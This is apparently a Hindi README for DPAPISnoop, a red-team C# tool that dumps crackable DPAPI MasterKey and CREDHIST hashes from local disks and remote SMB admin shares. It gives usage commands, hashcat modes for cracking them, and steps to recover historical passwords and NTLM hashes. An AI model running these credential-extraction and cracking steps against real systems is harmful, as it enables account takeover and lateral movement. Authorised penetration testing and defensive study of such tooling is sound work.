
उपयोगकर्ता MasterKeys से क्रैक करने योग्य DPAPI हैश आउटपुट करने के लिए एक C# टूल
एक C# टूल जो उपयोगकर्ता MasterKeys और CREDHIST फ़ाइलों से क्रैक करने योग्य DPAPI हैश निकालता है।
यह MasterKey ($DPAPImk$) और पूरी CREDHIST श्रृंखला ($credhist$) दोनों को लक्षित करता है, जो स्थानीय पथों और रिमोट SMB शेयरों को सपोर्ट करता है।
$DPAPImk$)प्रत्येक उपयोगकर्ता के लिए MasterKey \Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\ के अंतर्गत पाया जा सकता है।
क्रैक करने से उपयोगकर्ता का डोमेन पासवर्ड मिलता है और उस युग के सभी DPAPI-संरक्षित रहस्य अनलॉक हो जाते हैं।
हैश संस्करण OS पर निर्भर करता है:
कॉन्टेक्स्ट फ़ील्ड खाते के प्रकार को एन्कोड करता है:
$credhist$)प्रत्येक उपयोगकर्ता की CREDHIST फ़ाइल की हर प्रविष्टि। प्रत्येक प्रविष्टि पिछले पासवर्ड से एन्क्रिप्ट की जाती है और उससे पहले के पासवर्ड के SHA1 + NTLM में डिक्रिप्ट होती है।
श्रृंखला को क्रैक करने से सभी ऐतिहासिक पासवर्ड और उनके NTLM हैश पुनर्निर्मित हो जाते हैं।
प्रविष्टियाँ उपयोगकर्तानाम फ़ील्ड में लेबल की जाती हैं, जिससे आउटपुट स्व-वर्णनात्मक होता है:
alice[current]:$credhist$*... ← encrypted with the current password; crack this first
alice[prev1]:$credhist$*... ← encrypted with the previous password
alice[prev2]:$credhist$*...
प्रविष्टि हैश संस्करण OS पर निर्भर करता है:
-m 15920 से क्रैक करें-m 15930 से क्रैक करेंDPAPISnoop.exe [rootDir] [options]
rootDir छोड़े जाने पर %HOMEDRIVE% पर डिफ़ॉल्ट होता है। UNC पथ पूरी तरह से समर्थित हैं।
# Local machine — dump everything (defaults to %HOMEDRIVE%)
DPAPISnoop.exe
# Local machine — walk CREDHIST chain from a known password
DPAPISnoop.exe C: --password Summer2026!
# Local machine — walk CREDHIST chain from a known SHA1
# (e.g. from sekurlsa::wdigest pwdhash or dpapi cache)
DPAPISnoop.exe C: --sha1 da39a3ee5e6b4b0d3255bfef95601890afd80709
# Remote share — dump everything
DPAPISnoop.exe \\server01\c$
# Remote share — CREDHIST only, redirect hashes to file
DPAPISnoop.exe \\server01\c$ --credhist-only > credhist_hashes.txt
# Remote share — walk CREDHIST chain from a known password
DPAPISnoop.exe \\server01\c$ --password Summer2026!
hashcat -a0 -m 15300 hashes.txt wordlist.txt # v1 local/domain pre-1607
hashcat -a0 -m 15310 hashes.txt wordlist.txt # v1 domain post-1607
hashcat -a0 -m 15900 hashes.txt wordlist.txt # v2 local/domain pre-1607
hashcat -a0 -m 15910 hashes.txt wordlist.txt # v2 domain post-1607
hashcat -a0 -m 15920 credhist_hashes.txt wordlist.txt # 3DES entries (≤ Vista)
hashcat -a0 -m 15930 credhist_hashes.txt wordlist.txt # AES-256 entries (≥ Win10 20H2)
क्रैक करने के बाद, प्राप्त पासवर्ड को वापस DPAPISnoop में दें ताकि पूरी श्रृंखला पर चलकर हर ऐतिहासिक SHA1 और NTLM प्रिंट किया जा सके:
DPAPISnoop.exe C:\ --password Summer2024! > ntlms.txt
DPAPISnoop.exe C:\ --sha1 <40-hex-sha1> > ntlms.txt
README देखें
यह शोध और विकास प्रयास एक मानव और AI-सहायता प्राप्त टूलिंग के बीच सहयोगात्मक रूप से किया गया था, जिसमें AI मॉडल GPT-5.5 और Claude Sonnet 4.6 का उपयोग किया गया।
AI मॉडल का उपयोग कोड जनरेशन और रिवर्स इंजीनियरिंग समर्थन में सहायता करने के लिए किया गया।
हालाँकि, सभी शोध दिशा, सत्यापन, डिबगिंग, परीक्षण, सुरक्षा विश्लेषण और अंतिम तकनीकी निर्णय एक मानव (Imdefinelyhuman) द्वारा किए गए।
सभी जनरेटेड सामग्री, कोड और विश्लेषण की समीक्षा, सत्यापन, संशोधन और एकीकरण पुनरावृत्त मानव-निर्देशित वर्कफ़्लो के भाग के रूप में मैन्युअल रूप से किया गया।
उपरोक्त कथन यह कहने का एक फैंसी तरीका है कि कोड में बग हैं और इसे अपने जोखिम पर उपयोग करें!
Lefteris (lefty) Panos @ LRQA Red Team 2026
| फ़्लैग | विवरण |
|---|
| (कोई नहीं) | हमारे उपयोगकर्ता के लिए $DPAPImk$ और $credhist$ डंप करें |
--credhist-only / -c | MasterKey आउटपुट छोड़ें; केवल $credhist$ लाइनें उत्सर्जित करें |
--password <plaintext> / -p | वर्तमान प्लेनटेक्स्ट पासवर्ड से CREDHIST श्रृंखला पर चलें |
--sha1 <40-hex> | वर्तमान पासवर्ड के ज्ञात SHA1 से CREDHIST श्रृंखला पर चलें |
--pre1607 | डोमेन MasterKey हैश के लिए कॉन्टेक्स्ट 3 के बजाय कॉन्टेक्स्ट 2 (डोमेन pre-1607) उत्सर्जित करें |